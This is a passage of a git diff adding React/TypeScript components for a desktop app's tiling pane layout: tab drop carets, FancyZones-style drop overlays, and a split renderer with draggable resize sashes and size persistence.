+              <DecodeText className="text-(--ui-text-quaternary)" cursor prefix={1} text="CLAWCODEX" />
+            </div>
+          ) : (
+            keptPanes.map(paneId => {
+              const pane = paneFor(paneId)
+              const isActive = paneId === activeId
+
+              return (
+                <div
+                  aria-hidden={!isActive || undefined}
+                  className={cn('absolute inset-0 overflow-auto', !isActive && 'pointer-events-none invisible')}
+                  key={paneId}
+                  {...hiddenPaneProps(!isActive)}
+                >
+                  {pane?.render ? (
+                    // Visibility flows to the pane so a kept-alive chat surface
+                    // can gate its hot (per-token) subscriptions while hidden;
+                    // the group id identifies the ZONE it lives in, for state
+                    // that is per-zone rather than per-tab (composer pop-out).
+                    // The reload epoch keys the CONTENT, not this layer: a
+                    // Reload remounts the contribution (effects re-run, state
+                    // resets) while the layer — and every other tab — stays.
+                    <PaneGroupContext.Provider value={node.id}>
+                      <PaneVisibleContext.Provider value={isActive}>
+                        <ContribBoundary id={pane.id} key={paneEpochs[paneId] ?? 0}>
+                          {pane.render()}
+                        </ContribBoundary>
+                      </PaneVisibleContext.Provider>
+                    </PaneGroupContext.Provider>
+                  ) : (
+                    isActive && (
+                      <div className="p-3 font-mono text-[11px] text-(--ui-text-quaternary)">
+                        {t.zones.missingPane(paneId)}
+                      </div>
+                    )
+                  )}
+                </div>
+              )
+            })
+          )}
+        </div>
+      )}
+
+      {/* Edit-mode veil: the BODY is a drag handle for the active pane. It
+          starts below the header so tabs/headers stay directly interactive
+          (drag any tab, right-click for the zone menu). */}
+      {editMode && !dragging && !isEmpty && !node.minimized && (
+        <ZoneMenu {...zoneMenu}>
+          <div
+            // z-50: pane CONTENT may carry its own stacked chrome (the
+            // terminal rail is z-40) — the edit veil must cover all of it.
+            // The scrim mixes the accent over the CHROME BG (not transparent)
+            // so it properly dims content in dark themes instead of leaving a
+            // barely-tinted wash; the light blur reads as "edit mode" the same
+            // way the zone editor's backdrop does.
+            className="absolute inset-x-0 bottom-0 z-50 flex cursor-grab items-center justify-center outline-1 -outline-offset-2 outline-dashed backdrop-blur-[2px]"
+            onPointerDown={e => startPaneDrag(activeId, e, undefined, undefined, undefined, active?.title ?? activeId)}
+            style={{
+              top: headerVisible ? 28 : 0,
+              background:
+                'color-mix(in srgb, var(--ui-accent) 6%, color-mix(in srgb, var(--ui-bg-chrome) 55%, transparent))',
+              outlineColor: 'color-mix(in srgb, var(--ui-accent) 55%, transparent)'
+            }}
+          >
+            <span className="flex max-w-[calc(100%-1rem)] items-center gap-1.5 rounded-md border border-(--ui-stroke-secondary) bg-popover px-2 py-1 text-[0.64rem] font-semibold uppercase tracking-[0.16em] text-(--ui-text-secondary)">
+              <Codicon className="shrink-0" name="gripper" size="0.8125rem" />
+              <span className="min-w-0 truncate">{active?.title ?? activeId}</span>
+            </span>
+          </div>
+        </ZoneMenu>
+      )}
+
+      {/* FancyZones drop overlay — its own component so the per-frame drop
+          hint re-renders only this (tiny) node, not the whole zone. */}
+      <ZoneDropOverlay node={node} />
+    </div>
+  )
+}
+
+// ---------------------------------------------------------------------------
+// Tab-strip insertion caret
+// ---------------------------------------------------------------------------
+
+/**
+ * The insertion divider for a stack drop: a 2px vertical line at the slot the
+ * dragged tab will land in (before `stack.before`, or after the last tab).
+ * Absolute over the strip — pure overlay, zero layout shift. #000 on light,
+ * #FFF on dark. Split out so per-pointermove `$dropHint` churn re-renders
+ * only this node (same isolation contract as ZoneDropOverlay).
+ */
+function StripDropCaret({ groupId, stripRef }: { groupId: string; stripRef: RefObject<HTMLDivElement | null> }) {
+  const hint = useStore($dropHint)
+  const strip = stripRef.current
+  const stack = hint?.groupId === groupId ? hint.stack : undefined
+
+  if (stack === undefined || !strip) {
+    return null
+  }
+
+  // Slot x: the before-tab's left edge, or the last tab's right edge.
+  const tabs = [...strip.querySelectorAll<HTMLElement>('[data-tree-tab]')]
+  const target = stack.before ? tabs.find(el => el.dataset.treeTab === stack.before) : tabs.at(-1)
+
+  if (!target) {
+    return null
+  }
+
+  const stripRect = strip.getBoundingClientRect()
+  const targetRect = target.getBoundingClientRect()
+  const x = (stack.before ? targetRect.left : targetRect.right) - stripRect.left
+
+  // A short centered tick (~60% of the tab), not a full-height wall — reads
+  // as an insertion point between labels, browser-tab style.
+  return (
+    <span
+      aria-hidden
+      className="pointer-events-none absolute z-50 w-px -translate-x-1/2 bg-black dark:bg-white"
+      style={{
+        height: targetRect.height * 0.6,
+        left: x,
+        top: targetRect.top - stripRect.top + targetRect.height * 0.2
+      }}
+    />
+  )
+}
+
+// ---------------------------------------------------------------------------
+// FancyZones drop overlay
+// ---------------------------------------------------------------------------
+
+/** Overlay entry fade. FancyZones ships 200ms (FADE_IN_DURATION_MILLIS in
+ *  zones-engine); on a drag that starts under the cursor that ramp reads as
+ *  lag, so the sheets snap in far faster — same softening, instant feel. */
+const OVERLAY_FADE_MS = 80
+
+/** Sheet inset from the zone edge (px). */
+const REGION_PAD = 6
+
+/** The sheet's box per drop position — longhand insets so CSS transitions can
+ *  interpolate the px↔% change: the target GLIDES between the full zone and
+ *  the hovered half instead of snapping (VS Code dock preview). */
+const REGION: Record<DropPosition, CSSProperties> = {
+  bottom: { bottom: REGION_PAD, left: REGION_PAD, right: REGION_PAD, top: '50%' },
+  center: { bottom: REGION_PAD, left: REGION_PAD, right: REGION_PAD, top: REGION_PAD },
+  left: { bottom: REGION_PAD, left: REGION_PAD, right: '50%', top: REGION_PAD },
+  right: { bottom: REGION_PAD, left: '50%', right: REGION_PAD, top: REGION_PAD },
+  top: { bottom: '50%', left: REGION_PAD, right: REGION_PAD, top: REGION_PAD }
+}
+
+/**
+ * The FancyZones drop overlay for one zone. Split out of TreeGroup so the
+ * per-pointermove `$dropHint` churn re-renders only this lightweight node —
+ * the zone's header, body, and menu-direction walk stay put during a drag.
+ *
+ * ONE dashed sheet per zone (DROP_SHEET_CLASS — the composer drop and the zone
+ * targets speak identically): a quiet outline over every eligible zone,
+ * accent-lit over the target, morphing to the hovered half for an edge split.
+ */
+function ZoneDropOverlay({ node }: { node: GroupNode }) {
+  const dragging = useStore($treeDragging)
+  const hint = useStore($dropHint)
+
+  if (dragging === null) {
+    return null
+  }
+
+  // A session drag (sidebar row) reuses this exact overlay — over ANY zone
+  // now (stack into its tabs / split its edges); only a CHAT zone's center is
+  // a link-to-chat (the composer overlay owns that visual).
+  const sessionDrag = dragging === SESSION_TILE_DRAG
+  const chatZone = node.panes.some(isSessionStripPane)
+
+  const isDragSource = node.panes.includes(dragging)
+
+  // The source zone, when it holds only the dragged pane, has nothing to drop.
+  if (isDragSource && node.panes.length === 1) {
+    return null
+  }
+
+  const primary = hint?.groupId === node.id
+
+  // Hovering the target's TAB STRIP: the insertion caret (StripDropCaret)
+  // owns the affordance — the zone sheet stands down so the two never stack.
+  if (primary && hint?.stack !== undefined) {
+    return null
+  }
+
+  const active = hint?.groupIds?.includes(node.id) ?? false
+  const multi = (hint?.groupIds?.length ?? 0) > 1
+  // Sub-positions only exist for a single-zone target (a Shift-span merges).
+  const pos = primary && !multi ? (hint?.pos ?? 'center') : 'center'
+  // Session drag over a CHAT zone's CENTER: the "link to chat" overlay inside
+  // the surface (ChatDropOverlay — the same sheet) owns that region; this sheet
+  // fades out so the two never stack. A non-chat zone's center has no chat to
+  // link, so it shows the normal stack sheet. Edges act like a tab.
+  const centerLink = sessionDrag && primary && pos === 'center' && chatZone
+
+  return (
+    <div
+      className="pointer-events-none absolute inset-0 z-40"
+      style={{ animation: `clawcodex-zone-fade ${OVERLAY_FADE_MS}ms linear both` }}
+    >
+      <div
+        className={cn(
+          DROP_SHEET_CLASS,
+          // Transition ONLY the box + colors. `transition-all` also animated
+          // backdrop-filter, and a blur interpolating while the insets glide
+          // re-blurs half a zone every frame — the single most expensive
+          // paint in the whole drag.
+          'absolute transition-[top,right,bottom,left,background-color,border-color,opacity] duration-150 ease-out',
+          // Blur only the live target — idle outlines must not fog the app.
+          active && !centerLink && DROP_SHEET_BLUR_CLASS,
+          centerLink && 'opacity-0'
+        )}
+        style={{
+          ...REGION[pos],
+          // Accent over a card wash so the fill dims content on dark themes
+          // (a bare accent alpha disappears there).
+          background: active
+            ? 'color-mix(in srgb, var(--ui-accent) 18%, color-mix(in srgb, var(--dt-card) 55%, transparent))'
+            : 'color-mix(in srgb, var(--ui-accent) 5%, color-mix(in srgb, var(--dt-card) 25%, transparent))',
+          borderColor: `color-mix(in srgb, var(--ui-accent) ${active ? 75 : 28}%, transparent)`
+        }}
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/tree-node.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/tree-node.tsx
new file mode 100644
index 000000000..16c27304c
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/tree-node.tsx
@@ -0,0 +1,33 @@
+import type { LayoutNode } from '../model'
+
+import { TreeGroup } from './tree-group'
+import { TreeSplit } from './tree-split'
+
+/** Dispatch a layout node to its renderer — the split/group recursion point.
+ *  `root` marks the tree's top split (side collapse applies only there).
+ *  `rootRow` marks the row split that owns the side columns — usually the root
+ *  itself, but in a column-root layout (Terminal deck, Quad) it's the row
+ *  child holding sessions/workspace/files. Side collapse (⌘B/⌘J) applies here.
+ *  `parentAxis` is the containing split's orientation — a group collapses
+ *  ALONG that axis, so it picks the minimized form (row → vertical rail,
+ *  column → horizontal header). `railSide` is which half of that row the
+ *  child sits in — the rail's divider stroke faces the content side. */
+export function TreeNode({
+  node,
+  parentAxis,
+  railSide,
+  root,
+  rootRow
+}: {
+  node: LayoutNode
+  parentAxis?: 'column' | 'row'
+  railSide?: 'left' | 'right'
+  root?: boolean
+  rootRow?: boolean
+}) {
+  return node.type === 'split' ? (
+    <TreeSplit node={node} root={root} rootRow={rootRow} />
+  ) : (
+    <TreeGroup node={node} parentAxis={parentAxis} railSide={railSide} />
+  )
+}
diff --git a/ui-desktop/src/components/pane-shell/tree/renderer/tree-split.tsx b/ui-desktop/src/components/pane-shell/tree/renderer/tree-split.tsx
new file mode 100644
index 000000000..21ca5ecd0
--- /dev/null
+++ b/ui-desktop/src/components/pane-shell/tree/renderer/tree-split.tsx
@@ -0,0 +1,658 @@
+/**
+ * Split node renderer — a flex row/column whose 1px seams double as resize
+ * sashes (the seam IS the boundary — junction-owned, never doubled). Sizing
+ * is the TRACK MODEL (track-model.ts): fixed tracks keep their declared size,
+ * flex tracks share the leftover by weight, and an all-fixed run lets an
+ * UNCAPPED last track absorb the slack (capped sidebars stay put).
+ */
+
+import { useStore } from '@nanostores/react'
+import { type PointerEvent as ReactPointerEvent, useCallback, useMemo, useRef, useSyncExternalStore } from 'react'
+
+import { beginSashDrag, endSashDrag } from '@/components/pane-shell/geometry'
+import { useContributions } from '@/contrib/react/use-contributions'
+import { rafCoalesce } from '@/lib/raf-coalesce'
+import { cn } from '@/lib/utils'
+import { $paneStates, type PaneStateSnapshot, setPaneHeightOverride, setPaneWidthOverride } from '@/store/panes'
+
+import { $layoutEditMode } from '../../edit-mode'
+import type { LayoutNode, SplitNode } from '../model'
+import { allPaneIds } from '../model'
+import {
+  $collapsedTreeSides,
+  $hiddenTreePanes,
+  $narrowViewport,
+  isCollapsePane,
+  persistTree,
+  presetSplitWeights,
+  setTreeGroupMinimized,
+  setTreeSplitWeights
+} from '../store'
+
+import {
+  allFixedAbsorberIndex,
+  COLLAPSED_ZONE_PX,
+  computedPx,
+  cssMax,
+  edgeFixedZone,
+  fixedTrackSize,
+  MIN_PANE_PX,
+  paneChrome,
+  type PaneSizing,
+  resolveCssPx,
+  rootChildSide,
+  shownPaneIds,
+  subtreeGone,
+  type TrackContext
+} from './track-model'
+import { TreeNode } from './tree-node'
+
+/** The single group id a subtree resolves to, or null when it holds several
+ *  zones — the sash can only collapse a boundary that IS exactly one zone. */
+function groupIdOf(node: LayoutNode): null | string {
+  if (node.type === 'group') {
+    return node.id
+  }
+
+  const ids = new Set(node.children.map(groupIdOf))
+
+  return ids.size === 1 ? [...ids][0] : null
+}
+
+/**
+ * The size overrides for a fixed set of panes, referentially stable until one
+ * of THEM changes. Sash drags churn `$paneStates` every frame; subscribing the
+ * whole map would re-render every split — this narrows each split to its own
+ * subtree via a signature-gated snapshot.
+ */
+function useSubtreeOverrides(paneIds: readonly string[]): TrackContext['overrides'] {
+  const key = paneIds.join(',')
+  const cache = useRef<{ sig: string; value: Record<string, PaneStateSnapshot> }>({ sig: '\0', value: {} })
+
+  const snapshot = useCallback(() => {
+    const all = $paneStates.get()
+    const sig = paneIds.map(id => `${id}:${all[id]?.widthOverride ?? ''}:${all[id]?.heightOverride ?? ''}`).join('|')
+
+    if (cache.current.sig !== sig) {
+      cache.current = { sig, value: Object.fromEntries(paneIds.flatMap(id => (all[id] ? [[id, all[id]]] : []))) }
+    }
+
+    return cache.current.value
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [key])
+
+  return useSyncExternalStore(cb => $paneStates.listen(cb), snapshot, snapshot)
+}
+
+export function TreeSplit({ node, root, rootRow }: { node: SplitNode; root?: boolean; rootRow?: boolean }) {
+  const containerRef = useRef<HTMLDivElement>(null)
+  const panes = useContributions('panes')
+  const hiddenPanes = useStore($hiddenTreePanes)
+  const narrow = useStore($narrowViewport)
+  // Scoped to THIS subtree's panes: a sash drag writes size overrides on every
+  // pointermove, but only the splits whose subtree actually resized should
+  // re-render — not every split in the tree.
+  const overrides = useSubtreeOverrides(useMemo(() => allPaneIds(node), [node]))
+  const editMode = useStore($layoutEditMode)
+  const collapsedSides = useStore($collapsedTreeSides)
+  const horizontal = node.orientation === 'row'
+  const axis = node.orientation
+
+  // When the root is a column (Terminal deck, Quad), the root ROW — the one
+  // the side-collapse system operates on — is a row child containing main.
+  // Propagate `rootRow` to that child so its `semanticSides` fires.
+  const childRootRow = (child: LayoutNode): boolean => {
+    if (!root || horizontal) {
+      return false
+    }
+
+    if (child.type !== 'split' || child.orientation !== 'row') {
+      return false
+    }
+
+    return allPaneIds(child).some(id => paneChrome(paneFor(id)).placement === 'main')
+  }
+
+  // A pane leaves the grid when its contribution isn't registered (yet) — a
+  // runtime plugin's pane collapses until the plugin loads, then appears; no
+  // placeholder flash — when a chrome toggle hides it, or when the viewport
+  // is narrow and the pane is collapsible (edge overlay instead).
+  const paneFor = (id: string) => panes.find(p => p.id === id)
+
+  // Layout-edit mode forces toggle-hidden panes (terminal off, review/preview
+  // closed) visible so they're rearrangeable — only truly-absent (unregistered)
+  // or narrow-collapsed panes stay gone. Restores itself on exit (render-only).
+  const paneGone = (id: string) =>
+    !paneFor(id) || (!editMode && hiddenPanes.has(id)) || (narrow && Boolean(paneChrome(paneFor(id)).collapsible))
+
+  const trackCtx: TrackContext = { paneFor, paneGone, overrides }
+
+  // Chrome-toggle collapse: a subtree whose every pane is gone renders
+  // display:none (content stays MOUNTED — toggling back is instant), and its
+  // siblings absorb the space. Narrow-collapse UNMOUNTS instead, so the edge
+  // overlay owns the single live instance of the pane's content.
+  // EMPTY zones only exist in editor-authored trees (normalize prunes them on
+  // every structural op) — they take space in edit mode as drop targets.
+  const isEmptyZone = (child: LayoutNode) => child.type === 'group' && child.panes.length === 0
+  const isCollapsed = (child: LayoutNode) => subtreeGone(child, trackCtx) || (isEmptyZone(child) && !editMode)
+
+  // Min/max clamps come from a direct GROUP child's panes (the same clamps
+  // the app's Pane props express) — but ONLY when they can speak for the
+  // zone: a fixed track (pure sidebar stack) or a single-pane zone. A sidebar
+  // pane fronted in a mixed flex stack must not cap it. A fixed STACK
+  // aggregates its panes' clamps (largest-tenant semantics, mirroring the
+  // max() track basis) — the active tab's caps must never resize the zone.
+  const sizingFor = (child: LayoutNode, track: string | null): PaneSizing | null => {
+    if (child.type !== 'group' || child.panes.length === 0) {
+      return null
+    }
+
+    const shownIds = shownPaneIds(child, trackCtx)
+
+    if (track === null && shownIds.length !== 1) {
+      return null
+    }
+
+    if (shownIds.length <= 1) {
+      return (paneFor(shownIds[0])?.data as PaneSizing | undefined) ?? null
+    }
+
+    // Fixed STACK: floors take the largest declared min; caps stay unbounded
+    // unless EVERY pane declares one (a single uncapped tenant uncaps the
+    // zone). Same largest-tenant basis as the track size — never per-tab.
+    const all = shownIds.map(id => (paneFor(id)?.data ?? {}) as PaneSizing)
+
+    const cap = (pick: (s: PaneSizing) => string | undefined) => (all.every(pick) ? cssMax(all.map(pick)) : undefined)
+
+    return {
+      minWidth: cssMax(all.map(s => s.minWidth)),
+      maxWidth: cap(s => s.maxWidth),
+      minHeight: cssMax(all.map(s => s.minHeight)),
+      maxHeight: cap(s => s.maxHeight)
+    }
+  }
+
+  // Sashes pair each visible child with its nearest visible PREVIOUS sibling
+  // (`aIndex`/`bIndex`), not blindly `i-1`/`i` — a collapsed zone in between
+  // (e.g. the closed preview pane parked between main and the right rail)
+  // must not swallow the seam its visible neighbors share.
+  const startSash = useCallback(
+    (aIndex: number, bIndex: number, e: ReactPointerEvent<HTMLDivElement>) => {
+      const container = containerRef.current
+
+      if (!container || e.button !== 0) {
+        return
+      }
+
+      e.preventDefault()
+
+      const handle = e.currentTarget
+      const { pointerId } = e
+      const rect = container.getBoundingClientRect()
+      const totalPx = horizontal ? rect.width : rect.height
+      const totalWeight = node.weights.reduce((a, b) => a + b, 0) || 1
+      const pxPerWeight = totalPx / totalWeight
+      const start = horizontal ? e.clientX : e.clientY
+      const restoreCursor = document.body.style.cursor
+      const restoreSelect = document.body.style.userSelect
+
+      // Each side of the seam resolves to a RESIZE TARGET: a fixed zone (the
+      // sash writes its px override — sidebar semantics) or the flex run
+      // (the sash writes weights). Sizes/clamps read from the live DOM of
+      // whichever element actually owns the boundary.
+      const sizeOf = (el: HTMLElement) => {
+        const r = el.getBoundingClientRect()
+
+        return horizontal ? r.width : r.height
+      }
+
+      const sideFor = (child: LayoutNode, wrapper: HTMLElement, edge: 'start' | 'end') => {
+        const fixed = fixedTrackSize(child, axis, trackCtx) !== null
+        const zone = fixed ? edgeFixedZone(child, edge, axis, trackCtx) : null
+        const zoneEl = zone ? container.querySelector<HTMLElement>(`[data-tree-group="${zone.id}"]`) : null
+        // Clamps live on the zone's split-child WRAPPER (where we render them).
+        const el = zoneEl?.parentElement ?? wrapper
+        const cs = window.getComputedStyle(el)
+        // A tool panel (terminal / logs) may be dragged down to its collapsed
+        // header — the generic 80px floor is not its floor. Below that the
+        // release minimizes the zone instead of leaving a useless sliver.
+        const toolZone = allPaneIds(child).length > 0 && allPaneIds(child).every(isCollapsePane)
+        const floor = toolZone ? COLLAPSED_ZONE_PX : MIN_PANE_PX
+
+        return {
+          // EVERY shown pane of the zone: the zone's track is the max() of its
+          // panes' sizes, so the sash writes the same px to all of them —
+          // writing only the active pane would leave the zone pinned at a
+          // larger sibling's width.
+          paneIds: zone ? shownPaneIds(zone, trackCtx) : [],
+          fixed: Boolean(zone),
+          size: sizeOf(zoneEl ?? wrapper),
+          min: toolZone ? floor : Math.max(floor, computedPx(horizontal ? cs.minWidth : cs.minHeight, 0)),
+          max: computedPx(horizontal ? cs.maxWidth : cs.maxHeight, Number.POSITIVE_INFINITY),
+          collapseId: toolZone ? (zone?.id ?? groupIdOf(child)) : null,
+          floor
+        }
+      }
+
+      const kidA = container.children[aIndex] as HTMLElement | undefined
+      const kidB = container.children[bIndex] as HTMLElement | undefined
+
+      if (!kidA || !kidB) {
+        return
+      }
+
+      const a = sideFor(node.children[aIndex], kidA, 'end')
+      const b = sideFor(node.children[bIndex], kidB, 'start')
+      const a0px = a.fixed ? a.size : sizeOf(kidA)
+      const b0px = b.fixed ? b.size : sizeOf(kidB)
+      const lo = Math.max(a.min - a0px, b0px - b.max)
+      const hi = Math.min(a.max - a0px, b0px - b.min)
+
+      const setOverride = horizontal ? setPaneWidthOverride : setPaneHeightOverride
+
+      try {
+        handle.setPointerCapture?.(pointerId)
+      } catch {
+        // Synthetic events.
+      }
+
+      document.body.style.cursor = horizontal ? 'col-resize' : 'row-resize'
+      document.body.style.userSelect = 'none'
+      // Suppress :root geometry-var writes for the gesture (see geometry.ts —
+      // each one restyles the whole document; they republish on release).
+      beginSashDrag()
+
+      // pointermove outpaces 60fps and each write relayouts the whole pane tree,
+      // so coalesce to one apply per frame (rafCoalesce commits on cleanup).
+      //
+      // During the gesture the store is NOT written. setTreeSplitWeights /
+      // setPaneWidthOverride each mint a new tree/pane-state object, and the
+      // resulting commit walks every mounted pane — measured live on a real
+      // 2-session layout: 31 commits across a 58-frame drag, 20.7fps, with
+      // TreeNode at 490ms and Block/Ct re-parsing markdown for 620ms. The
+      // store is written ONCE on release; during the drag the seam is
+      // previewed with inline styles on the same wrappers React sizes.
+      //
+      // Preview rules (learned the hard way — a wrong shape here left a
+      // phantom gap where a hidden sidebar lived):
+      //  - a FIXED side gets ONLY a flex-basis override. Its wrapper renders
+      //    as `flex: 0 1 <track>`, so basis is the whole difference; grow and
+      //    shrink stay React's. Crucially the flex partner is left untouched,
+      //    so it keeps absorbing the remainder and no leftover gap can open.
+      //  - a flex-vs-flex seam pins both sides to `0 1 <px>`. Their combined
+      //    px is constant, so sibling flex tracks see the same leftover.
+      //  - cleanup: a real drag commits the store once, and React's re-render
+      //    rewrites the `flex` shorthand, which clears the overrides (writing
+      //    the shorthand resets the longhands). A no-movement click restores
+      //    the captured style attribute instead, since nothing re-renders.
+      const applyShift = (shiftPx: number) => {
+        if (a.fixed) {
+          a.paneIds.forEach(id => setOverride(id, Math.round(a0px + shiftPx)))
+        }
+
+        if (b.fixed) {
+          b.paneIds.forEach(id => setOverride(id, Math.round(b0px - shiftPx)))
+        }
+
+        if (!a.fixed && !b.fixed) {
+          const weights = [...node.weights]
+          // Clamped px → weights so persisted weights match what's on screen.
+          weights[aIndex] = (a0px + shiftPx) / pxPerWeight
+          weights[bIndex] = (b0px - shiftPx) / pxPerWeight
+          setTreeSplitWeights(node.id, weights)
+        }
+      }
+
+      const styleA = kidA.getAttribute('style')
+      const styleB = kidB.getAttribute('style')
+
+      const previewSide = (el: HTMLElement, fixed: boolean, px: number) => {
+        if (fixed) {
+          el.style.flexBasis = `${px}px`
+        } else if (!a.fixed && !b.fixed) {
+          el.style.flex = `0 1 ${px}px`
+        }
+        // Mixed seam, flex side: untouched — it absorbs what the fixed side
+        // gives up, exactly as the track model would render it.
+      }
+
+      const previewShift = (shiftPx: number) => {
+        previewSide(kidA, a.fixed, a0px + shiftPx)
+        previewSide(kidB, b.fixed, b0px - shiftPx)
+      }
+
+      const resize = rafCoalesce(previewShift)
+      let lastShift: null | number = null
+
+      const onMove = (ev: PointerEvent) => {
+        lastShift = Math.max(lo, Math.min(hi, (horizontal ? ev.clientX : ev.clientY) - start))
+        resize.push(lastShift)
+      }
+
+      const cleanup = () => {
+        resize.finish()
+
+        if (lastShift !== null) {
+          // Dragged a tool panel down to its collapsed header? Fold the zone
+          // to its rail instead of persisting a sliver — and DON'T write the
+          // sliver size, so restoring brings back the size it had before.
+          const collapsedSide =
+            (a.collapseId && a0px + lastShift <= a.floor && a.collapseId) ||
+            (b.collapseId && b0px - lastShift <= b.floor && b.collapseId) ||
+            null
+
+          if (collapsedSide) {
+            setTreeGroupMinimized(collapsedSide, true)
+          } else {
+            // One store commit; the re-render rewrites `flex` and clears the
+            // preview overrides.
+            applyShift(lastShift)
+          }
+        } else {
+          // Click without movement: nothing will re-render, so put the
+          // wrappers' inline styles back exactly as React last wrote them.
+          if (styleA === null) {
+            kidA.removeAttribute('style')
+          } else {
+            kidA.setAttribute('style', styleA)
+          }
+
+          if (styleB === null) {
+            kidB.removeAttribute('style')
+          } else {
+            kidB.setAttribute('style', styleB)
+          }
+        }
+
+        // Geometry vars re-enable AFTER the final store commit above, so the
+        // release publishes exactly one fresh measurement.
+        endSashDrag()
+        document.body.style.cursor = restoreCursor
+        document.body.style.userSelect = restoreSelect
+
+        try {
+          handle.releasePointerCapture?.(pointerId)
+        } catch {
+          // Mirror.
+        }
+
+        window.removeEventListener('pointermove', onMove, true)
+        window.removeEventListener('pointerup', cleanup, true)
+        window.removeEventListener('pointercancel', cleanup, true)
+        persistTree()
+      }
+
+      window.addEventListener('pointermove', onMove, true)
+      window.addEventListener('pointerup', cleanup, true)
+      window.addEventListener('pointercancel', cleanup, true)
+    },
+    // trackCtx is derived state rebuilt per render; the drag captures it once.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [axis, editMode, horizontal, node.children, node.id, node.weights, hiddenPanes, narrow, overrides, panes]
+  )
+
+  // Double-click a sash: every neighbor returns to its DEFAULT size.
+  //  - fixed zones (sidebar stacks): clear the drag override -> the declared
+  //    width (237px etc.) comes back;
+  //  - flex zones fronted by a size-declaring pane (a sidebar in a mixed
+  //    stack): pin the weight so the zone lands EXACTLY on that size;
+  //  - everything else: the preset's weights for this split (rearranging
+  //    panes keeps the applied preset's split ids), else even distribution.
+  const resetBoundary = useCallback(
+    (aIndex: number, bIndex: number) => {
+      const container = containerRef.current
+
+      if (!container) {
+        return
+      }
+
+      const setOverride = horizontal ? setPaneWidthOverride : setPaneHeightOverride
+
+      for (const [child, edge] of [
+        [node.children[aIndex], 'end'],
+        [node.children[bIndex], 'start']
+      ] as const) {
+        const zone = edgeFixedZone(child, edge, axis, trackCtx)
+
+        for (const paneId of zone ? shownPaneIds(zone, trackCtx) : []) {
+          setOverride(paneId, undefined)
+        }
+      }
+
+      const preset = presetSplitWeights(node.id, node.weights.length)
+      const weights = preset ?? [...node.weights]
+
+      const rect = container.getBoundingClientRect()
+      const totalPx = horizontal ? rect.width : rect.height
+      let pinned = false
+
+      for (const i of [aIndex, bIndex]) {
+        const child = node.children[i]
+
+        // Fixed tracks size themselves from the declared width (override
+        // cleared above) — weights only matter for FLEX zones.
+        if (child.type !== 'group' || fixedTrackSize(child, axis, trackCtx) !== null) {
+          continue
+        }
+
+        // The zone's natural default = the largest size any of its panes
+        // declares along this axis (a sessions+terminal stack is still a
+        // 237px sidebar at heart, whichever chip is fronted).
+        let px: number | null = null
+
+        for (const paneId of shownPaneIds(child, trackCtx)) {
+          const sizing = (paneFor(paneId)?.data ?? {}) as PaneSizing
+          const css = horizontal ? sizing.width : sizing.height
+          const resolved = css ? resolveCssPx(container, css, horizontal) : null
+
+          if (resolved !== null) {
+            px = Math.max(px ?? 0, resolved)
+          }
+        }
+
+        if (px === null || px <= 0 || px >= totalPx) {
+          continue
+        }
+
+        const others = weights.reduce((sum, w, j) => (j === i ? sum : sum + w), 0)
+
+        if (others > 0) {
+          weights[i] = (px * others) / (totalPx - px)
+          pinned = true
+        }
+      }
+
+      setTreeSplitWeights(node.id, !preset && !pinned ? weights.map(() => 1) : weights)
+    },
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [axis, editMode, horizontal, node.children, node.id, node.weights, hiddenPanes, narrow, overrides, panes]
+  )
+
+  // A run of ONLY fixed tracks can't fill the container (grow-0 all around
+  // leaves dead space — e.g. terminal + logs split into two 38vh zones with
+  // the rail above them collapsed). An UNCAPPED last track absorbs the
+  // leftover; capped sidebars (review/files) keep their max and stay put.
+  const isMinimized = (child: LayoutNode) => child.type === 'group' && Boolean(child.minimized)
+
+  // SEMANTIC side collapse (titlebar toggles / ⌘B / ⌘J): at the ROOT row,
+  // ⌘B owns the sessions column and ⌘J the other side columns — by pane
+  // placement, NOT position, so a ⌘\ flip moves the columns without
+  // rewiring the toggles (main parity). In edit mode sides stay visible.
+  // `rootRow` covers both a row root (Default, Focus) and a row nested inside
+  // a column root (Terminal deck, Quad) — wherever the side columns live.
+  const semanticSides = rootRow && horizontal && collapsedSides.size > 0 && !editMode
+
+  const sideGone = (i: number) => {
+    if (!semanticSides) {
+      return false
+    }
+
+    const side = rootChildSide(node.children[i], paneFor)
+
+    return side !== null && collapsedSides.has(side)
+  }
+
+  // One pass per child: collapse/minimize state, resolved fixed track, clamps,
+  // and narrow-unmount flag. fixedTrackSize + subtreeGone each re-walk the
+  // subtree, so resolve them ONCE here instead of per read below.
+  const tracks = node.children.map((child, i) => {
+    const minimized = isMinimized(child)
+    const collapsed = isCollapsed(child) || sideGone(i)
+    const track = minimized || collapsed ? null : fixedTrackSize(child, axis, trackCtx)
+    const sizing = minimized || collapsed ? null : sizingFor(child, track)
+    // Narrow-collapse UNMOUNTS (the edge overlay owns the live instance) — but
+    // only for panes the breakpoint collapsed, not ones a chrome toggle hid.
+    const narrowCollapsed = narrow && collapsed && allPaneIds(child).some(id => !hiddenPanes.has(id))
+
+    return { child, collapsed, minimized, narrowCollapsed, sizing, track }
+  })
+
+  const growable = tracks.map((_, i) => i).filter(i => !tracks[i].collapsed && !tracks[i].minimized)
+  const allFixed = growable.length > 0 && growable.every(i => tracks[i].track !== null)
+
+  // Only an uncapped fixed track may absorb leftover. A maxWidth/maxHeight
+  // sidebar (review, files, sessions) must keep that clamp — otherwise ⌘G
+  // balloons the rail and sash-remembered sizes become a flex-basis that
+  // grow still expands past.
+  const absorberIndex = allFixed
+    ? allFixedAbsorberIndex(growable, i => (horizontal ? tracks[i].sizing?.maxWidth : tracks[i].sizing?.maxHeight))
+    : -1
+
+  // Weights are RATIOS, but CSS flex-grow is absolute: a run whose grows sum
+  // below 1 fills only that fraction of the leftover (normalize's flatten
+  // scales weights into the parent slot — a dock-split nested into an
+  // existing column can leave grow 0.5, i.e. dead space). Renormalize the
+  // flex run so its grows always sum to 1.
+  const flexTotal = growable.reduce((sum, i) => sum + (tracks[i].track === null ? node.weights[i] : 0), 0)
+  const grow = (i: number) => node.weights[i] / (flexTotal || 1)
+
+  // The seam partner for a visible child: the nearest VISIBLE previous
+  // sibling. Collapsed zones (a hidden pane parked mid-row) are skipped, so
+  // their visible neighbors keep a shared, draggable boundary.
+  const seamPartner = (i: number): number => {
+    for (let j = i - 1; j >= 0; j--) {
